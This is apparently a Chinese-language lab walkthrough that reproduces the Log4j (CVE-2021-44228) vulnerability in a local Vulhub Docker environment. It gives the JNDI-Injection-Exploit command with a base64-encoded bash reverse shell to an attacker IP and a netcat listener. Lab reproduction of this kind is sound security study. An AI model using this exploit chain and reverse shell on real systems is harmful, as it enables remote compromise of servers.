环境搭建
1.虚拟机安装docker
kali虚拟机安装docker环境和vulhub环境
安装方法详情:Vulhub - Docker-Compose file for vulnerability environment
克隆环境:git clone https://github.com/vulhub/vulhub.git
启动docker
进入vulhub/log4j/CVE-2021-44228
启动环境:
docker-compose up -d
启动后查看镜像,进入网站
漏洞复现
首先验证漏洞是否存在
DNSlog获取一个网址
利用临时获取的payload访问原来的地址,并将action的参数换成payload
回到dnslog点击Refresh Record,出现返回结果,说明存在log4j漏洞
漏洞利用
这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,下载地址为https://github.com/bkfish/Apache-Log4j-Learning/tree/main
应用工具JNDI-Injection-Exploit搭建服务:格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”
这里的命令是想要靶机运行的命令,-A后放的是发出攻击的电脑的ip,也是存放-C后“命令”的ip地址。
接下来要实现反弹shell,可以用命令
bash -i >& /dev/tcp/ip/port 0>&1
注意“命令”必须经过编码,不然将无法实现
对执行的命令进行加密bash64进行加密
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTE4LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.0.118
设置监听端口
nc.exe -lvvp 6666
将DNS的payload换成刚获得的ldap的参数,然后回车访问
查看监听发现已经反弹shell
注意:下载nc后需要开启防火墙进入高级防火墙设置入站规则新建一个监听端口
并将NC允许应用通过防火墙,否则监听不到端口